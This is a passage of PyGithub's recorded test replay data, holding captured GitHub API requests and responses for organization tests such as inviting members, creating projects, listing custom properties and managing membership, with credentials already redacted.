{"public_repos":11,"type":"User","disk_usage":17080,"hireable":false,"blog":"http://vincent-jacques.net","url":"https://api.github.com/users/jacquev6","bio":"","plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":5,"public_gists":2,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","owned_private_repos":5,"private_gists":5,"collaborators":0,"email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testInviteUserWithRoleAndTeam.txt0000644000175100001660000000710214756101563027267 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/teams {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "Team created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4988'), ('content-length', '145'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"189a318993cde3e040f2efb4f634f8a8"'), ('date', 'Sat, 26 May 2012 20:58:53 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/teams/189850')] {"url":"https://api.github.com/teams/189850","members_count":0,"repos_count":0,"name":"Team created by PyGithub","permission":"pull","id":189850} https POST api.github.com None /orgs/BeaverSoftware/invitations {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.dazzler-preview+json'} {"email": "foo@example.com", "role": "billing_manager", "team_ids": [189850]} 201 [('content-length', '1278'), ('x-runtime-rack', '0.122927'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'admin:org'), ('etag', '"956a9bf38063ecf225e5970155c6022a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '201 Created'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.dazzler-preview; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DA68:171E:16B488C:1C7BDFC:5B8232A3'), ('date', 'Sun, 26 Aug 2018 04:55:00 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1535261649')] {"created_at":"2018-08-26T04:55:00Z","email":"foo@example.com","invitation_teams_url":"https://api.github.com/organizations/32695636/invitations/12325953/teams","node_id":"MDIyOk9yZ2FuaXphdGlvbkludml0YXRpb24xMjQyMzQ1Mw==","role":"billing_manager","team_count":1,"login":null,"inviter":{"following_url":"https://api.github.com/users/jacquev6/following{/other_user}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://avatars0.githubusercontent.com/u/327146?v=4","url":"https://api.github.com/users/jacquev6","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","html_url":"https://github.com/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","node_id":"MDQ6VXNlcjE1MjI1MDU5","repos_url":"https://api.github.com/users/jacquev6/repos","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","site_admin":false,"login":"jacquev6","type":"User","id":327146,"followers_url":"https://api.github.com/users/jacquev6/followers","organizations_url":"https://api.github.com/users/jacquev6/orgs"},"id":12423453} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testIssue2030CreateProject.txt0000644000175100001660000003240614756101563026337 0ustar00runnerdockerhttps GET api.github.com None /users/karthik-kadajji-t {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 17 Aug 2021 12:32:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"87c4de76b4f773556feaecd9712e801e0084fab92ded5c7801a4acfcfb6c6c39"'), ('Last-Modified', 'Tue, 17 Aug 2021 08:32:14 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2021-09-09 21:12:46 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1629206924'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C00C:184D:CB5A41:D66D29:611BAC56')] {"login":"karthik-kadajji-t","id":88677462,"node_id":"MDQ6VXNlcjg4Njc3NDYy","avatar_url":"https://avatars.githubusercontent.com/u/88677462?v=4","gravatar_id":"","url":"https://api.github.com/users/karthik-kadajji-t","html_url":"https://github.com/karthik-kadajji-t","followers_url":"https://api.github.com/users/karthik-kadajji-t/followers","following_url":"https://api.github.com/users/karthik-kadajji-t/following{/other_user}","gists_url":"https://api.github.com/users/karthik-kadajji-t/gists{/gist_id}","starred_url":"https://api.github.com/users/karthik-kadajji-t/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/karthik-kadajji-t/subscriptions","organizations_url":"https://api.github.com/users/karthik-kadajji-t/orgs","repos_url":"https://api.github.com/users/karthik-kadajji-t/repos","events_url":"https://api.github.com/users/karthik-kadajji-t/events{/privacy}","received_events_url":"https://api.github.com/users/karthik-kadajji-t/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":0,"public_gists":0,"followers":0,"following":0,"created_at":"2021-08-09T16:41:12Z","updated_at":"2021-08-17T08:32:14Z","private_gists":0,"total_private_repos":0,"owned_private_repos":0,"disk_usage":0,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /orgs/testkarthik {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 17 Aug 2021 12:32:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b671bda157a6f08c57bdef6f58a5c575475afd4396e3aeb8ba248853f7d945c2"'), ('Last-Modified', 'Fri, 13 Aug 2021 13:30:46 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2021-09-09 21:12:46 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1629206924'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7DF8:184C:61F6D6:6C1779:611BAC56')] {"login":"testkarthik","id":88720686,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg4NzIwNjg2","url":"https://api.github.com/orgs/testkarthik","repos_url":"https://api.github.com/orgs/testkarthik/repos","events_url":"https://api.github.com/orgs/testkarthik/events","hooks_url":"https://api.github.com/orgs/testkarthik/hooks","issues_url":"https://api.github.com/orgs/testkarthik/issues","members_url":"https://api.github.com/orgs/testkarthik/members{/member}","public_members_url":"https://api.github.com/orgs/testkarthik/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/88720686?v=4","description":null,"name":"testkarthik","company":null,"blog":null,"location":"USadddaa","email":null,"twitter_username":"twittertest","is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":0,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/testkarthik","created_at":"2021-08-10T12:31:31Z","updated_at":"2021-08-13T13:30:46Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":0,"collaborators":0,"billing_email":"_er@gmail.cm","default_repository_permission":"admin","members_can_create_repositories":true,"two_factor_requirement_enabled":false,"members_can_create_pages":true,"members_can_create_public_pages":false,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":1,"seats":0}} https POST api.github.com None /orgs/testkarthik/projects {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "ultratendency"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 17 Aug 2021 12:32:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1486'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"94e0b57910367b556e808c0400e17bf40b1e60438405c0e452cd9625244de0dd"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo, write:org'), ('github-authentication-token-expiration', '2021-09-09 21:12:46 UTC'), ('Location', 'https://api.github.com/projects/13097272'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1629206924'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '7DF3:184E:1A1F7B7:1AEF43E:611BAC56')] {"owner_url":"https://api.github.com/orgs/testkarthik","url":"https://api.github.com/projects/13097272","html_url":"https://github.com/orgs/testkarthik/projects/22","columns_url":"https://api.github.com/projects/13097272/columns","id":13097272,"node_id":"PRO_kwDOBUnFLs4Ax9k4","name":"ultratendency","body":null,"number":22,"state":"open","creator":{"login":"karthik-kadajji-t","id":88677462,"node_id":"MDQ6VXNlcjg4Njc3NDYy","avatar_url":"https://avatars.githubusercontent.com/u/88677462?v=4","gravatar_id":"","url":"https://api.github.com/users/karthik-kadajji-t","html_url":"https://github.com/karthik-kadajji-t","followers_url":"https://api.github.com/users/karthik-kadajji-t/followers","following_url":"https://api.github.com/users/karthik-kadajji-t/following{/other_user}","gists_url":"https://api.github.com/users/karthik-kadajji-t/gists{/gist_id}","starred_url":"https://api.github.com/users/karthik-kadajji-t/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/karthik-kadajji-t/subscriptions","organizations_url":"https://api.github.com/users/karthik-kadajji-t/orgs","repos_url":"https://api.github.com/users/karthik-kadajji-t/repos","events_url":"https://api.github.com/users/karthik-kadajji-t/events{/privacy}","received_events_url":"https://api.github.com/users/karthik-kadajji-t/received_events","type":"User","site_admin":false},"created_at":"2021-08-17T12:32:23Z","updated_at":"2021-08-17T12:32:23Z","organization_permission":"write","private":true} https GET api.github.com None /orgs/testkarthik/projects {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 17 Aug 2021 12:32:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f84f6e37e193a8568bbac1bee0b16333c20ca1ca26dadc31129821e8aacad527"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'read:org, repo'), ('github-authentication-token-expiration', '2021-09-09 21:12:46 UTC'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1629206924'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7E1A:AA20:1B68AF6:1C3923B:611BAC57')] [{"owner_url":"https://api.github.com/orgs/testkarthik","url":"https://api.github.com/projects/13097272","html_url":"https://github.com/orgs/testkarthik/projects/22","columns_url":"https://api.github.com/projects/13097272/columns","id":13097272,"node_id":"PRO_kwDOBUnFLs4Ax9k4","name":"ultratendency","body":null,"number":22,"state":"open","creator":{"login":"karthik-kadajji-t","id":88677462,"node_id":"MDQ6VXNlcjg4Njc3NDYy","avatar_url":"https://avatars.githubusercontent.com/u/88677462?v=4","gravatar_id":"","url":"https://api.github.com/users/karthik-kadajji-t","html_url":"https://github.com/karthik-kadajji-t","followers_url":"https://api.github.com/users/karthik-kadajji-t/followers","following_url":"https://api.github.com/users/karthik-kadajji-t/following{/other_user}","gists_url":"https://api.github.com/users/karthik-kadajji-t/gists{/gist_id}","starred_url":"https://api.github.com/users/karthik-kadajji-t/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/karthik-kadajji-t/subscriptions","organizations_url":"https://api.github.com/users/karthik-kadajji-t/orgs","repos_url":"https://api.github.com/users/karthik-kadajji-t/repos","events_url":"https://api.github.com/users/karthik-kadajji-t/events{/privacy}","received_events_url":"https://api.github.com/users/karthik-kadajji-t/received_events","type":"User","site_admin":false},"created_at":"2021-08-17T12:32:23Z","updated_at":"2021-08-17T12:32:23Z","organization_permission":"write","private":true}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testListCustomPropertyValues.txt0000644000175100001660000000372714756101563027326 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/properties/values?repository_query=repo%3ABeaverSoftware%2FTestPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 01 Jun 2024 07:48:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"41a390c81a11644bf754e25767f1d7720567ca8a8d6e9ac11f1ee1f5be6313b5"'), ('github-authentication-token-expiration', '2024-06-08 02:45:21 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'organization_custom_properties=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4865'), ('X-RateLimit-Reset', '1717228808'), ('X-RateLimit-Used', '135'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CTDD:9BZ2B7:ELXM6L:AE6Q1F:3SBURNLR')] [{"repository_id":494563892,"repository_name":"TestPyGithub","repository_full_name":"BeaverSoftware/TestPyGithub","properties":[{"property_name":"property_1","value":"bar"},{"property_name":"property_2","value":"foo"}]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testMembers.txt0000644000175100001660000000446514756101563023665 0ustar00runnerdockerhttps GET api.github.com None /users/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '554'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9fc4631ef7902f5de61ef421c7e4f9b7"'), ('date', 'Sun, 27 May 2012 05:09:23 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","public_gists":0,"bio":null,"blog":null,"url":"https://api.github.com/users/Lyloa","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","company":null,"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","login":"Lyloa","email":"nyu@lyloa.net","followers":1,"name":"Lyloa","public_repos":0,"created_at":"2011-10-16T14:36:46Z","location":"Paris","id":1131432,"following":0,"html_url":"https://github.com/Lyloa","hireable":false} https GET api.github.com None /orgs/BeaverSoftware/members/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4982'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:09:23 GMT')] https DELETE api.github.com None /orgs/BeaverSoftware/members/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4981'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:09:24 GMT')] https GET api.github.com None /orgs/BeaverSoftware/members/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 [('status', '403 Forbidden'), ('x-ratelimit-remaining', '4980'), ('content-length', '37'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ab43ecb6e2f75e3940aa869edc5ed691"'), ('date', 'Sun, 27 May 2012 05:09:24 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"You need to be a member"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testOrgGetSecretAssertion.txt0000644000175100001660000000752414756101563026517 0ustar00runnerdockerhttps GET api.github.com None /orgs/demoorg {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:38:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fdd3ad04d14a1c6deb0a4a1fbcc104a59889084ffa9e75d80a66f6b7a54ec074"'), ('Last-Modified', 'Wed, 17 Jan 2024 22:24:36 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1706834317'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDD5:2508B2:9AE6C80:9C7B574:65BC2B8F')] {"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","url":"https://api.github.com/orgs/demoorg","repos_url":"https://api.github.com/orgs/demoorg/repos","events_url":"https://api.github.com/orgs/demoorg/events","hooks_url":"https://api.github.com/orgs/demoorg/hooks","issues_url":"https://api.github.com/orgs/demoorg/issues","members_url":"https://api.github.com/orgs/demoorg/members{/member}","public_members_url":"https://api.github.com/orgs/demoorg/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":3,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/demoorg","created_at":"2024-01-17T20:14:26Z","updated_at":"2024-01-17T22:24:36Z","archived_at":null,"type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":5,"collaborators":0,"billing_email":"me@example.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":true,"members_allowed_repository_creation_type":"all","members_can_create_public_repositories":true,"members_can_create_private_repositories":true,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":2,"seats":0},"advanced_security_enabled_for_new_repositories":false,"dependabot_alerts_enabled_for_new_repositories":false,"dependabot_security_updates_enabled_for_new_repositories":false,"dependency_graph_enabled_for_new_repositories":false,"secret_scanning_enabled_for_new_repositories":false,"secret_scanning_push_protection_enabled_for_new_repositories":false,"secret_scanning_push_protection_custom_link_enabled":false,"secret_scanning_push_protection_custom_link":null,"secret_scanning_validity_checks_enabled":false} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testOrgSecretEdit.txt0000644000175100001660000005772514756101563025005 0ustar00runnerdockerhttps GET api.github.com None /orgs/demoorg {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:06:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fdd3ad04d14a1c6deb0a4a1fbcc104a59889084ffa9e75d80a66f6b7a54ec074"'), ('Last-Modified', 'Wed, 17 Jan 2024 22:24:36 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4920'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '80'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED12:D6070:71412E7:7268274:65BC240F')] 